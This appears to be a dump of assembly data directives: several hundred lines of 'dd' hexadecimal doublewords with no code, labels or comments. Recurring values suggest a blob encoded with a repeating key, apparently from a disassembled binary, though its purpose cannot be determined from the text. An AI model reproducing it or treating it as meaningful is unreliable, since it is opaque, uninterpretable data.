dd 0A4D35893h, 57C27C9Dh, 0FF801F78h, 37E6C9E1h, 34CD4C20h
dd 0DD271512h, 0C6DEA87Dh, 0FE3CDEE0h, 3D8EDC04h, 65ABEF75h
dd 0D3597033h, 0C7D08239h, 210E2FFCh, 0AC20E4FFh, 0C79CF2D4h
dd 0A26E28CAh, 5EB03F4h, 2D5C7E83h, 871FF539h, 0C7826880h
dd 832F0314h, 0C7829897h, 0CD320611h, 7084BA4Dh, 0C764D359h
dd 0F1716717h, 0E5AE8439h, 0DD7CF9C4h, 0C774EFBAh, 52927D5Ch
dd 0C792248Fh, 0BEF43A11h, 0C4D35970h, 83C89CBDh, 0ADE3297Eh
dd 0B3D35970h, 0D0AE94ACh, 0A272AB4Ah, 51DEAB5h, 72ABA828h
dd 1DEAB5A2h, 0C38E894Ch, 5DFBDEF6h, 4DCD663Ah, 3F0F31D0h
dd 124A0718h, 0ABAD93ABh, 5F781D56h, 70255747h, 242BD359h
dd 0C7978350h, 83320611h, 0AE89AB97h, 6F0B76B4h, 0FD245AA0h
dd 232AD358h, 0C2D8EA02h, 2C0017C7h, 13C74DCDh, 1CBC3904h
dd 8C12DAFBh, 0B0A772ABh, 511C3BDFh, 276D6C84h, 0D3596FF1h
dd 7F9840F7h, 97838A5Eh, 59B6F2BAh, 0DC80B9D3h, 0C7BDA3BBh
dd 0BCF23813h, 0C2D35970h, 0CDC69ABBh, 0AB4AD04Dh, 59702F65h
dd 5BA1F6D3h, 0D3597025h, 4C0C242Bh, 97837145h, 1EB89ABh
dd 671E06B3h, 6DA6A54Fh, 0AE91A9AEh, 0C902EFE8h, 75420D0Ah
dd 0AC0C4288h, 0B12D358h, 0ABE0CCF3h, 0E5B0A772h, 0D6A1B668h
dd 0EDD0E809h, 0CD5B2F28h, 8BA9BA4Dh, 3770DB01h, 0DAA77265h
dd 12C7DCC2h, 70BDF339h, 0CC3D359h, 0D2E4F48h, 8C32E720h
dd 958225BAh, 0BDD5F6F5h, 0A372ABD7h, 41CE9B4h, 12C7F1DDh
dd 34CD3105h, 706399DFh, 6269D359h, 0DCBA644Ah, 0BC268D7Fh
dd 72AB51C9h, 1BE8B3A4h, 15404D61h, 98B0954Fh, 0C780127Dh
dd 83310512h, 512C797h, 3CA1C318h, 0F06A04AFh, 7FB7EDCBh
dd 0B6BDD358h, 4DCDB89Eh, 170413C7h, 311E39DEh, 5970B5EBh
dd 9CB4BBD3h, 0C94DCDB6h, 92248F51h, 196C12C7h, 0EF78E151h
dd 6D1BA540h, 0C2DFBCCh, 72AB17EBh, 749BB3A4h, 1056AB88h
dd 0D35970DAh, 0DEC1D9E0h, 0AB4A1E39h, 0AB15E389h, 0C8E0507Fh
dd 56AB6BEBh, 5970DA10h, 0C1D9E0D3h, 8D7FF3D1h, 6DADD326h
dd 0AB92248Fh, 0ECB7A072h, 7724071Fh, 97838C60h, 59D5BBBAh
dd 89AB9BD3h, 80ECAF24h, 0C4CA4877h, 0BE455D92h, 0F7A2859Dh
dd 4DCD0CE0h, 390413C7h, 0AB1EA46Ch, 9AB2A572h, 0B8F1469Bh
dd 5F2CF7E0h, 59704B81h, 324A51D3h, 59700C42h, 267212D3h
dd 1007D73Bh, 1EBE7845h, 8A5E7FC6h, 56AB9783h, 5970DA10h
dd 0C1D9E0D3h, 597097D1h, 10C777D3h, 7E833307h, 70ADE329h
dd 0ACB3D359h, 10C7AE94h, 4DCD3307h, 509FBFBAh, 51C99F13h
dd 0AB92248Fh, 0A5EBA072h, 0D359706Fh, 354D6E75h, 0A3908752h
dd 70D2084Eh, 0D1D8D359h, 72ABD3B9h, 71F7B1A6h, 0D691397Eh
dd 0C7B3DAF2h, 330710C7h
dd 0B2A572ABh, 592433E1h, 1797748Ch, 310512C7h, 51C94DCDh
dd 4079248Fh, 0E1AE799Eh, 814C4B10h, 0C7B69CB4h, 83330710h
dd 5710C797h, 0FDCA9582h, 4DCD08DCh, 0B1A672ABh, 9FAEA999h
dd 0C78E1350h, 0BB380314h, 6C31FC1Bh, 1E09E853h, 92248FDEh
dd 0DA1056ABh, 0E0D35970h, 3BDEC1D9h, 9783481Ch, 6BA989ABh
dd 1A36B971h, 1EF85E02h, 0A472AB4Ah, 25BE9BB3h, 162E29ECh
dd 3417C730h, 5970B8EEh, 3397FD3h, 9D35970h, 934D5402h
dd 2BC5CF4h, 6E426388h, 0B1A672ABh, 0DA0119E6h, 0CD4AD0EEh
dd 710C74Dh, 88E5F81Ah, 8F7A2EADh, 97839177h, 89AB8A90h
dd 42495781h, 3225F3E0h, 61799A67h, 596F3B71h, 51C91BD3h
dd 9892248Fh, 0CD4AD082h, 512C74Dh, 5C7E8331h, 1E13674Bh
dd 81677FE0h, 84BA8A90h, 64D35970h, 9DE338C9h, 0D3597067h
dd 684E666Dh, 0EDB389ABh, 859F247Bh, 55E7526Dh, 11C78298h
dd 4DCD3206h, 74AA89ABh, 0EAF58972h, 0ABB2B8D2h, 0ECB7A072h
dd 0CB690386h, 74951834h, 0A7366C5Ch, 0AD16D358h, 5B7C1B54h
dd 57401390h, 8F381E36h, 82989224h, 2F0314C7h, 31D04DCDh
dd 706096DCh, 5F66D359h, 65AB6147h, 0D359702Fh, 1F412E35h
dd 6A821BBAh, 0CDB3CB3Ah, 0EBBA9783h, 0CB1A3F80h, 2F0314C7h
dd 11C79783h, 7EC41906h, 0D3597048h, 492F474Eh, 80BA4DCDh
dd 60D35970h, 320611C7h, 91457E83h, 0F4E3B586h, 11C7F6DCh
dd 3AE01906h, 0CD1F051Dh, 314C74Dh, 0A372AB2Fh, 2136E3B4h
dd 94718956h, 8F6DAD14h, 11C79224h, 0CC978056h, 830ADEFFh
dd 314C797h, 0C74DCD2Fh, 0CD320611h, 314C74Dh, 0C797832Fh
dd 83320611h, 611C797h, 0C7978332h, 0CD2F0314h, 58D7C34Dh
dd 248F8892h, 7B9C4079h, 716633B0h, 0BDDA7F50h, 270D25F2h
dd 2F0314C7h, 12C79783h, 56AB3105h, 5970DA10h, 1FD9E0D3h
dd 903C7D74h, 0FCD9F133h, 0E53ABA7Ch, 0AC01F60Bh, 0BE53066h
dd 0DD7F36F6h, 9B8199BAh, 310512C7h, 72AB9783h, 0B89BB3A4h
dd 0B005F2E5h, 5970346Ah, 1B333AD3h, 0C74DCD35h, 0AB310512h
dd 5411BF89h, 58A0D80Eh, 1DD7DED3h, 546CF60Bh, 0F2A5DE77h
dd 0C7E7CDE5h, 0B8350017h, 5926F1E6h, 0FBC6D188h, 5736A1B2h
dd 248FE9AFh, 28EB2479h, 701B512Fh, 1A21D359h, 14C71C02h
dd 7E832F03h, 0B1829545h, 0F8DEF6E1h, 310512C7h, 93457E83h
dd 703C72B8h, 3B42D359h, 6A824F1Ah, 3615C784h, 5970BAF0h
dd 98B9C0D3h, 0BA4DCDC4h, 0DAAB1C1h, 215C7A1h, 0AB97832Eh
dd 9BB3A472h, 6F3E4B8h, 70356BB1h, 4518D359h, 859DA452h
dd 0AB4DCD9Fh, 70DA1056h, 0D9E0D359h, 0DA21D1C1h, 0AD011E31h
dd 92248F6Dh, 2E0215C7h, 15C79783h, 82C88352h, 0D359704Ch
dd 592A4B52h, 0A5799ABDh, 5BFB34CDh, 8CA4713Ch, 5EADC3A6h
dd 3A0512C7h, 2DF81FBDh, 1FEEE9B0h, 21280772h, 17C700h
dd 72AB02E8h, 809BB3A4h, 89AB8315h, 9237756Fh, 0F8DBF396h
dd 835F3324h, 215C797h, 0FB34CD2Eh, 0A7743F58h, 50BAA98Fh
dd 1781FA16h, 16467CC2h, 954C81FAh, 3E0BD6C1h, 0F01F051Dh
dd 1502D811h, 7F657D4Ah, 0DA1056ABh, 0E0D35970h, 3BA6C1D9h
dd 94835790h, 15C7967Ch, 97832E02h, 2F0314C7h, 15C74DCDh
dd 76978052h, 7889ABA2h, 30DA404Eh, 0C646233Bh, 248F51C9h
dd 314C792h, 0A072AB2Fh, 0C75CFDB7h, 6E1B0D24h, 0D52A2F56h
dd 58A9598Fh, 2C9E53D3h, 0B43AA66h, 583E565Dh, 2E0215C7h
dd 95457E83h, 0C7846A82h, 0CD2F0314h, 611C74Dh, 0C7978332h
dd 0AB2F0314h, 0E9B4A372h, 0F474783h, 0C2D01CCh, 90A3D91Fh
dd 0A2A9D358h, 0AB77638Ah, 70DA1056h, 0D9E0D359h, 1B3CDEC1h
dd 1056AB47h, 0D35970DAh, 0A6ECD9E0h, 0D3597070h, 7A576F76h
dd 2989ABFAh, 4278BE30h, 48D358BFh, 0B1628741h, 10C8ABC3h
dd 4DCD3307h, 89AB1FFBh, 780C7244h, 0A6C1D9BAh, 17C7A93Bh
dd 97832C00h, 34CD4AD0h, 223A5DFBh, 5611C73Ch, 9B6F9087h
dd 0DA1056ABh, 0E0D35970h, 455208D9h, 901A062Dh, 0A0D61C71h
dd 0A6D35970h, 0BAA1879Fh, 0D3597084h, 8F51C964h, 82989224h
dd 0EE3417C7h, 0D35970B8h, 0C296B7BEh, 291234CDh, 183FDA57h
dd 5E11FD5Eh, 85BA6046h, 65D35970h, 67AD02FFh, 0D3597031h
dd 32183037h, 168889ABh, 0AF7A9D39h, 25D828E2h, 9B062139h
dd 0F7E0AA09h, 0F8391BA7h, 1E000001h, 99DAD1FCh, 5870750Fh
dd 2489AB72h, 0B8D4EC6Bh, 9E3A1D35h, 4DCDA579h, 84BA8A90h
dd 64D35970h, 248F6DADh, 0C7829892h, 0CD300413h, 0AB4AD04Dh
dd 59702F65h, 5A2E35D3h, 83BA9783h, 63D35970h, 170413C7h
dd 51D3ADEh, 457E831Fh, 1700D295h, 465E2BF6h, 6B13C760h
dd 3D129E4Ah, 0A97D9E98h, 0B82589ABh, 30D468EDh, 5FC15FF9h
dd 879FC02Eh, 76BC11AAh, 0D358BD40h, 77FDA646h, 0ED088CC5h
dd 0C7CEB4CCh, 0AB320611h, 0E5B0A772h, 0EDD90018h, 4DCD4AD0h
dd 0A16B13C7h, 15A69A1h, 83C69ABBh, 0BA8A9097h, 0D3597084h
dd 0FF38C964h, 3E243C5Bh, 4079248Fh, 81677F98h, 56AB8298h
dd 5970DA10h, 0FF18BDD3h, 4F324A51h, 0CDB4888Fh, 0A52CBA4Dh
dd 0BAF30BB6h, 602DF81Fh, 15C76248h, 76978052h, 6B6C2EABh
dd 0E6514CA0h, 0ABDC1C07h, 9FE5A672h, 0D3597069h, 2F47686Fh
dd 0C717A914h, 0CC586717h, 0FD9B9C20h, 2A94CA10h, 939AD359h
dd 97839E72h, 0EE3417C7h, 0D35970B8h, 2EDCFB9Bh, 92B3A477h
dd 34CD9D71h, 6D385FFBh, 8395E6A0h, 701F0F5Dh, 11C77258h
dd 7EC41906h, 0D3597048h, 0BC6A6D2Bh, 7C475005h, 90768EAFh
dd 0DA1056ABh, 0E0D35970h, 64E4C1D9h, 248F51C9h, 17C792h
dd 0AB97832Ch, 70DA1056h, 0D9E0D359h, 1B3CDEC1h, 0A072AB47h
dd 2532E6B7h, 98758D5Ah, 0A52CBA18h, 0C90C0BB6h, 92248F51h
dd 626C89ABh, 0B114E934h, 0EEC0A24h, 364E6F99h, 0A7948353h
dd 93ABAC6Eh, 0DD89ABADh, 5A09A5EFh, 0D8FF996Ah, 0D0AD99C0h
dd 0FB34CD4Ah, 0A7743F58h, 72ABA98Fh, 18E5B0A7h, 5C7B1D00h
dd 90978388h, 72653871h, 0DCC2DAA7h, 597084BAh, 14C764D3h
dd 1BBB3803h, 936431FCh, 0B408D3C4h, 0A3D64EB9h, 0A71B6BC8h
dd 148C5B7Ch, 9892248Fh, 0BF16C82h, 0C7AE0000h, 0CD2C0017h
dd 0C489AB4Dh, 0B7A075EAh, 80AAB8FDh, 7A5EFE96h, 0A2BADB2Eh
dd 58BD83B2h, 10C763D3h, 1DBF3C07h, 7B42FFAh, 4024BD9Ch
dd 766889ABh, 6C380B30h, 0BA19F2B2h, 5A724B11h, 0AA42D43Fh
dd 1BA7F7E0h, 0A97E1D56h, 511EE9EEh, 2EFF6530h, 0A45DF625h
dd 69859DBEh, 6ABh, 0E89AB67h, 699AD651h, 0C3C9E3FBh, 597084BAh
dd 6DAD64D3h, 2479248Fh, 5970A8DEh, 8FA7AED3h, 0AB8298A9h
dd 9AB2A572h, 22F6E1B7h, 4AD04DCDh, 702F65ABh, 7E35D359h
dd 1D02BCDBh, 644DE56Bh, 83B98DAEh, 0FB3BBA97h, 0C71BD35Ch
dd 83320611h, 9B51BA97h, 0C731D359h, 0CD330710h, 0AB4AD04Dh
dd 59702F65h, 5A2E35D3h, 4CBA9783h, 2C1540B5h, 330710C7h
dd 29AF89ABh, 0C8876777h, 165F95DBh, 5E65D359h, 0C7331F46h
dd 0CD330710h, 98F9BA4Dh, 7FD944B4h, 1056AB9Bh, 0D35970DAh
dd 91C70DE0h, 97D35970h, 3C576F90h, 10C73FD1h, 97833307h
dd 2C9289ABh, 0BBABE127h, 0AAB1D358h, 920331F0h, 0D7C0977Ah
dd 764DCD03h, 0C79783A4h, 0E11A0710h, 8C592433h, 4DCD8E74h
dd 0F55E13BAh, 12C7F3C1h, 1DBD3A05h, 6D6A29FAh, 0F7A27A2h
dd 8FC28830h
dd 99407924h, 0C780667Eh, 83330710h, 17C797h, 0C74DCD2Ch
dd 0CD330710h, 3714C74Dh, 5970BBF1h, 99BAC1D3h, 938451CEh
dd 35A04DC8h, 700E448Ah, 0D14D359h, 8FA51DECh, 0DE247924h
dd 0D35970A8h, 0A98FA7AEh, 2C0017C7h, 10C79783h, 72AB3307h
dd 405702A5h, 9A87A875h, 59701E54h, 51D24D3h, 17C7F2DEh
dd 4DCD2C00h, 190611C7h, 0F3296FC4h, 0F9D3596Fh, 70DE14F2h
dd 0DDE4D359h, 4DCDDFC5h, 390413C7h, 70245AA0h, 232AD359h
dd 0C8938452h, 0C48F884Bh, 0E9544FF7h, 8FC33B0Ah, 17C79224h
dd 97832C00h, 150215C7h, 70447AC0h, 774AD359h, 596FFB31h
dd 0D9FA01D3h, 34CDDBC1h, 1533912h, 536BBC0Ah, 0EF11BA6Dh
dd 0C7F133F4h, 0E2406915h, 0D5EA7408h, 7E83E0B4h, 2E29F029h
dd 59701A50h, 11920D3h, 17C71Bh, 0C74DCD2Ch, 0BAF03615h
dd 0C0D35970h, 0CDC498B9h, 512C74Dh, 2E1DBD3Ah, 5970B2E8h
dd 90B1B8D3h, 0B7671C5h, 8F01412Ch, 17C79224h, 97832C00h
dd 2E0215C7h, 4AD09783h, 5FFB34CDh, 0C73A2038h, 97805611h
dd 9783A276h, 84BA8A90h, 64D35970h, 248F51C9h, 0A472AB92h
dd 25465103h, 93CCFB0Dh, 730CD7C0h, 596FF72Dh, 0D5F6FDD3h
dd 15C7D7BDh, 35E28552h, 69360122h, 7000367Ch, 0FF06D359h
dd 32CFF1DEh, 4B81C7AFh, 51D3593Eh, 366B904Ah, 0CDCEB4CCh
dd 0B333BA4Dh, 0C7132AE2h, 832E0215h, 314C797h, 1F38DD16h
dd 4DCD2107h, 0E99E78BAh, 14C75810h, 97832F03h, 2F0314C7h
dd 18BA4DCDh, 0F82200B9h, 0F7EF11F0h, 0D71FBF4Bh, 8F826880h
dd 9D407924h, 28E2AF7Ah, 16490181h, 795F771Ch, 2F0314C7h
dd 14C79783h, 70BBF137h, 0BAC1D359h, 0A8AAC99h, 985DD260h
dd 0ABC0A6BEh, 0B432EC89h, 0DAC74866h, 58D75E94h, 455D64D3h
dd 81BAE868h, 48D35970h, 22589EF3h, 28D35970h, 700D4321h
dd 0C13D359h, 3BC60EF4h, 55425502h, 5970D90Fh, 0C0D8DFD3h
dd 92248FDAh, 2F0314C7h, 11C79783h, 4DCD3206h, 0B0729ABAh
dd 11C77A21h, 7EC41906h, 0D3597048h, 0A16C6B2Bh, 0AC6F26D4h
dd 0F213E0ABh, 96617621h, 0ABCBB1C9h, 0A5CFDD89h, 7C943B33h
dd 11C76955h, 30E48356h, 6E8F5C27h, 8EC40AA3h, 94D35970h
dd 774B6C8Dh, 0B51689ABh, 432F65ABh, 2E35D359h, 0B8D25774h
dd 0BA43C3A0h, 3EF8AB49h, 0AB2AF029h, 0A5B3DD89h, 0E1F99398h
dd 0C7C95BC6h, 90875611h, 3D7F8C5h, 14C79783h, 4DCD2F03h
dd 320611C7h, 9B7F4DCDh, 0C792248Fh, 0AB2F0314h, 9DB5A272h
dd 11C78A76h, 0DB6E136Dh, 0A7C8BD67h, 9D4198BAh, 507CEF09h
dd 72AB5238h, 6AE7B2A5h, 768EAFA8h, 14C7634Fh, 4DCD2F03h
dd 0C87289ABh, 0A816473Ah, 0A53F75BBh, 3E45D358h, 55573626h
dd 0C93767DEh, 92248F51h, 2F0314C7h, 9EA489ABh, 0C0EF5F6Ch
dd 0C79581A8h, 0CD2E0215h, 0D79BBA4Dh, 0C77BDB55h, 0BA370215h
dd 0B7ED3318h, 0BDD35970h, 81CA95B6h, 57260570h, 1056ABDFh
dd 0D35970DAh, 91C70DE0h, 97D35970h, 0FF9E6F90h, 28400DD8h
dd 0C710A20Dh, 832E0215h, 0A672AB97h, 75405701h, 0EFBC87A8h
dd 3720F4D7h, 0A146114Ah, 0FAC5E6F1h, 9DBA5C2Dh, 7ED05D2h
dd 14C74DCDh, 4DCD2F03h, 248F6DADh, 215C792h, 0A372AB2Eh
dd 89759CB4h, 2E0215C7h, 5BFB34CDh, 8CA4713Ch, 0D79BBAA6h
dd 0AD7BDB55h, 92248F6Dh, 2E0215C7h, 14C79783h, 72AB2F03h
dd 1CE9B4A3h, 0C7F1DD04h, 0C4190611h, 5970487Eh, 2F474ED3h
dd 0AB4DCD49h, 0FE553689h, 657D2E1Ch, 5E62175h, 4D93E84Ch
dd 4C05E617h, 6D385FFAh, 0D91FF2A0h, 4C05E6A3h, 6981A2A9h
dd 611C783h, 8BBFF719h, 0FDAA3587h, 3A2E6266h, 627A9BAFh
dd 0C797837Ch, 0BAF03615h, 0C0D35970h, 0CDC498B9h, 5611C74Dh
dd 9E729384h, 54AD4DCDh, 0BFDCF732h, 8AA21C41h, 92248FA4h
dd 875215C7h, 0D7F8C590h, 0F0E7B1EAh, 89ABF2D8h, 5F7E7CB6h
dd 81A8C03Eh, 0CD4AD095h, 611C74Dh, 1056AB32h, 0D35970DAh
dd 2EF91EBDh, 94ACB361h, 8A90816Dh, 597084BAh, 45124BD3h
dd 0C9543A52h, 92248F51h, 15C78298h, 70BAF036h, 0B9C0D359h
dd 4DCDC498h, 197AE4BAh, 9B7FC432h, 0C792248Fh, 77146915h
dd 52D63A9h, 2C33D359h, 5C6DFB72h, 9783673Bh, 2E0215C7h
dd 81BA4DCDh, 48D35970h, 354D4A0Fh, 8F93874Fh, 56AB9224h
dd 5970DA10h, 0C1D9E0D3h, 0AE693EDEh, 1B3C5BF9h, 1601D350h
dd 3C5D7E4Bh, 297E8368h, 5970ADE3h, 94ACB3D3h, 215C7AEh
dd 0BA4DCD2Eh, 3CA1DCF8h, 8F51C9D8h, 15C79224h, 97832E02h
dd 0A772ABh, 4E193A5Dh, 0D6866981h, 4DCDEDC1h, 915CD3C3h
dd 79248F89h, 0B67BEE57h, 7E96C035h, 215C798h, 0A272AB2Eh
dd 706DA3E9h, 6C73D359h, 70C334Bh, 83580FCEh, 755B7394h
dd 2E0215C7h, 0B0A772ABh, 0A5B268E5h, 0F8F6C84h, 9A18CFBAh
dd 2AF0AFD5h, 0AB92248Fh, 70DA1056h, 1BBDD359h, 0B66431FCh
dd 0B60BEE16h, 2A4BB3EAh, 6A6D2F12h, 0D0215B7Dh, 0A5B144E9h
dd 9783A78Dh, 130017C7h, 704AA8F1h, 0A0B83357h, 0AB4DCDBAh
dd 70DA1056h, 1ABDD359h, 0B76532FDh, 723D5A00h, 896C84A5h
dd 0A97E1CCBh, 0A6C7E8EFh, 0AD4DCDD2h, 92248F6Dh, 0EE3417C7h
dd 0D35970B8h, 0A996B7BEh, 92AAAD70h, 0C79783ACh, 832E0215h
dd 4E96C97h, 0BAAE0000h, 0D359BE39h, 5017C719h, 986C8D8Ah
dd 0B7A072ABh, 2A071FECh, 0AB4AD0AAh, 59702F65h, 0E2D4F6D3h
dd 0D7C09349h, 0FA84991Dh, 471B22E2h, 72AB9783h, 18E5B0A7h
dd 0B9849347h, 27F1D4ECh, 70E81E64h, 37EED359h, 34557661h
dd 0FB34CD60h, 0A26F3A5Dh, 8A90A48Ah, 320611C7h, 0B7A072ABh
dd 0AB8C789Fh, 1C9E5489h, 0BBD3E872h, 431700D8h, 84BA4DCDh
dd 64D35970h, 9DE338C9h, 0D3597067h, 684E666Dh, 0DA1056ABh
dd 0A1D35970h, 5970255Bh, 76242BD3h, 0D9FE9E6Fh, 0A93BA6C1h
dd 320611C7h, 11C79783h, 4DCD3206h, 597084BAh, 6DAD64D3h
dd 4079248Fh, 7B61799Eh, 320611C7h, 4AD09783h, 11C74DCDh
dd 4DCD3206h, 65AB4AD0h, 0D3597033h, 0B43D8FAh, 0F861970Bh
dd 451920E0h, 91457E83h, 0C7886E86h, 83320611h, 0DF89AB97h
dd 0FFC7A785h, 0E8FE1028h, 616E10C7h, 0A5D7297Ah, 82A1738h
dd 5D79E9B1h, 0C0A6BE3Ch, 93DE4DCDh, 0A9915BBCh, 38AAE026h
dd 0A9B0D359h, 0F6E1B788h, 10965E2Bh, 702F65ABh, 2E35D359h
dd 0BA97835Ah, 0D3597084h, 5344124Bh, 0BDA3BB88h, 0F53B10C7h
dd 0D35970BFh, 2BEDBEC5h, 83370B2Ch, 314C797h, 4A36B38h
dd 703369AFh, 3239D359h, 65AB341Ah, 0D359702Fh, 0FA1DBDF6h
dd 471B22E2h, 2CBA4DCDh, 0C0E79BCh, 5FFF38C9h, 0A5C6D188h
dd 10F574DAh, 5288F1BDh, 8F331931h, 4AD09224h, 702F65ABh
dd 9535D359h, 41F12429h, 0AD81A246h, 702F65ABh, 2E35D359h
dd 0AA89AB5Ah, 1E17238h, 0FE032A42h, 370215C5h, 0D06C526Ah
dd 2F65AB4Ah, 35D35970h, 72AB5A2Eh, 1DEAB5A2h, 0BF8A8D4Ch
dd 7DFDDAF2h, 0DA1056ABh, 0E0D35970h, 3BDEC1D9h, 70D40A50h
dd 23DAD359h, 0CE9B6671h, 0CDB88CADh, 8F51C94Dh, 4AD09224h
dd 702F65ABh, 2E35D359h, 156AB5Ah, 597085BBh, 6C848BD3h
dd 5970467Ch, 71454CD3h, 96457E83h, 0EF1007D1h, 0BFDEF1D7h
dd 883687D8h, 0AB49CF97h, 8B333456h, 8D77C5FBh, 0D18B202Ah
dd 0B9D1EF70h, 587E93C9h, 71C699D3h, 587DF52Bh, 16F4FBD3h
dd 0D3587EE0h, 0EABEDFE6h
dd 0B3A472ABh, 26031BE8h, 0BC2CBAA6h, 9EF30E79h, 79BC2258h
dd 921280Eh, 0AB6DAD23h, 0CA610289h, 203804D7h, 0DE089A05h
dd 9547757Fh, 0A82EF6B6h, 7E1D56ABh, 0A9C18E59h, 597083B9h
dd 45114AD3h, 737A3A52h, 2F65AB9Fh, 0F6D35970h, 0E1F91EBDh
dd 0AB461A21h, 70DA1056h, 0D9E0D359h, 2F475008h, 4AD01C08h
dd 166889ABh, 3FD3DE30h, 0D0CA4A27h, 8289AB4Ah, 7F034A34h
dd 0EF6F4C64h, 330710C7h, 8A909783h, 597084BAh, 51C964D3h
dd 9892248Fh, 0BA8A9082h, 0D3597084h, 8F51C964h, 9A407924h
dd 987F657Dh, 0CD4AD082h, 17C74Dh, 0A372AB2Ch, 41CE9B4h
dd 17C7F1DDh, 4DCD2C00h, 17C78A90h, 7E832C00h, 0BA859245h
dd 90EFD5EDh, 7084BA8Ah, 0AD64D359h, 79248F6Dh, 70A8DE24h
dd 0A7AED359h, 56ABA98Fh, 5970DA10h, 0C1D9E0D3h, 72AB99AFh
dd 0B598B0A7h, 879046E1h, 89AB9266h, 1E2F4D67h, 4C927FE7h
dd 0D3587616h, 20FD151Ch, 0AB4AD0A0h, 0E8B3A472h, 0BE04031Bh
dd 0D3597088h, 83B3878Eh, 7084BA97h, 0C764D359h, 0DD396B13h
dd 28D2C701h, 0F46A2C6Eh, 3E5F50FEh, 0C797836Ah, 0CD2C0017h
dd 8333BA4Dh, 0C9130AECh, 679DE338h, 6DD35970h, 8F684E66h
dd 17C79224h, 0C18C8B50h, 91E6D3F4h, 70C0F63Ch, 0BFC6D359h
dd 5970ABE1h, 92AAB1D3h, 0AB9783ACh, 9DB5A272h, 2BFF18BAh
dd 13C74DCDh, 56AB3004h, 5970DA10h, 0C1D9E0D3h, 0B0F64BE4h
dd 0D359707Ah, 9FEED774h, 0B4623901h, 0C7AF95ADh, 713F6915h
dd 70280F07h, 5107844Fh, 9DB67B46h, 0C845332h, 0C792248Fh
dd 0DA130017h, 0A6B1683Fh, 0D5EDBA85h, 457E83EFh, 846A8295h
dd 2C0017C7h, 33BA4DCDh, 130AEC83h, 248F6DADh, 1056AB92h
dd 0D35970DAh, 0DC1FD9E0h, 0EAFAA4CCh, 0BE60435Bh, 92A2DE9h
dd 7289AB35h, 8FE33AF0h, 0B2A57344h, 0DB021AE7h, 53B81D6h
dd 0BD3591Eh, 0C706EC04h, 0DE170413h, 0D6531E39h, 0DDF51601h
dd 0C79783F7h, 898E5017h, 4DCD9468h, 597084BAh, 51C964D3h
dd 0C792248Fh, 832C0017h, 17C797h, 1EBF113h, 13F6B2B3h
dd 4DCD15FBh, 65AB4AD0h, 0D359702Fh, 0EC412E35h, 597070A6h
dd 576F76D3h, 0FB34CD71h, 0AE7F395Eh, 0D04E76A6h, 0C7B197AFh
dd 832C0017h, 2F65AB97h, 35D35970h, 9ABD5D2Eh, 0B43A02CFh
dd 702F65ABh, 2E35D359h, 0D097835Ah, 0FB34CD4Ah, 0C8CF8B5Ch
dd 0F70FDCA7h, 30699811h, 0FB1CB96Eh, 90DCC2DAh, 7084BA8Ah
dd 0C764D359h, 0BC390413h, 0DC30FB1Ch, 0AC9776E1h, 92248F6Ch
dd 6E306998h, 0C76B5169h, 0DA130017h, 824F1A3Dh, 28F3E4B1h
dd 0CD5D435Bh, 0AB4AD04Dh, 59702F65h, 5A2E35D3h, 10C79783h
dd 4DCD3307h, 589484BAh, 10C76453h, 97833307h, 3C0413C7h
dd 2F65ABB6h, 35D35970h, 4DCD5A2Eh, 330710C7h, 51C94DCDh
dd 0D092248Fh, 3A89AB4Ah, 2B2CEB20h, 0B2D99360h, 0FCFB13C1h
dd 595080B6h, 0AB7F86D3h, 622F89ABh, 766A15F7h, 0E3195F5Eh
dd 0AAD358F8h, 5704A371h, 47071F40h, 97836C40h, 34CD4AD0h
dd 733E59FBh, 0C7A88EA6h, 0E11A0710h, 280E2631h, 91457E83h
dd 1DEEBB86h, 5C425A7Dh, 65387190h, 0D18409D9h, 3657FCF6h
dd 0A0869E6Bh, 597084BAh, 51C964D3h, 9892248Fh, 0C5110682h
dd 5465ABF1h, 5ADB018Bh, 21446653h, 54BCE96Ch, 831F051Dh
dd 215C797h, 1234CD2Eh, 0C6606698h, 86562748h, 0E1F9C691h
dd 0B138BAFBh, 0AB1818F2h, 70DA1056h, 0D9E0D359h, 193EDEC1h
dd 0A472AB45h, 31BE8B3h, 15C7F0DCh, 4DCD2E02h, 597081BAh
dd 938761D3h, 0C792248Fh, 832E0215h, 17C797h, 0B589AB2Ch
dd 35CF7DF3h, 0BB3B1830h, 0BF53CDBAh, 17C7AD0Dh, 97832C00h
dd 9B6915C7h, 1A9C63B9h, 0AB08DCFDh, 70DA1056h, 0D9E0D359h
dd 0C764E4C1h, 0CD2C0017h, 710C74Dh, 0FF18BF3Ch, 6FDAEB34h
dd 0E30C190h, 0A1A28FDAh, 4EA0258h, 0C792248Fh, 0C0150215h
dd 5970447Ah, 2B434AD3h, 457E8345h, 846A8295h, 0B7A072ABh
dd 24071FECh, 83916572h, 156AB97h, 597085BBh, 0A6848BD3h
dd 0D3597070h, 0B3576F76h, 0AB9E72A2h, 18B5465h, 7F535ADBh
dd 89AB4DCDh, 5927E15Fh, 0BFA2BAA3h, 0CD26FA1Dh, 8F6DAD4Dh
dd 11069224h, 56ABF1C5h, 7085BB01h, 0B168D359h, 0D9F1F8A6h
dd 18BD8E9h, 0F03EDEDBh, 7FE5B8CCh, 83512546h, 0A572AB97h
dd 0E5B79AB2h, 97831EF2h, 59D922BAh, 17C702D3h, 0C0F11300h
dd 67E28882h, 0B5D6C193h, 5A2532E4h, 0CD8F758Dh, 0AB4AD04Dh
dd 59702F65h, 5A2E35D3h, 0DA1056ABh, 0E0D35970h, 0AE9AC1D9h
dd 2B3563DEh, 0F5291E61h, 4D9C5639h, 47E6AE2Dh, 834E490Eh
dd 0CDB89EB6h, 512C74Dh, 0C7978331h, 0CD310512h, 0C78A904Dh
dd 83310512h, 0C51DBA97h, 0ABFDD359h, 0E5B0A772h, 7B1D0018h
dd 9A3EE9ACh, 0C4E5B27Dh, 4DCDCFA3h, 89AB4AD0h, 0CC63359Bh
dd 16152D45h, 0F0266CC1h, 0F6D358D3h, 0B1E7D7EFh, 0B7D358D4h
dd 0D4689EE4h, 676ED358h, 97837246h, 0B5A272ABh, 15051DEAh
dd 17B0843Bh, 611C71Bh, 0C7978332h, 0CD320611h, 83DCBA4Dh
dd 0ADBC17B0h, 79248F6Dh, 0B27D9A40h, 0ABE7CDE5h, 731CA272h
dd 78663B9Bh, 0AB8EA6C7h, 0AB16EAEDh, 0AA64E289h, 0D2EA4389h
dd 72ABBFABh, 62F6B0A7h, 47BA2AF4h, 7B20031Bh, 4DCD885Ch
dd 0E9EDEFBAh, 13C7CF19h, 70BCF238h, 0BBC2D359h, 8352CF9Ah
dd 884CC994h, 5AF7C48Fh, 14FFDE49h, 92248FD4h, 310512C7h
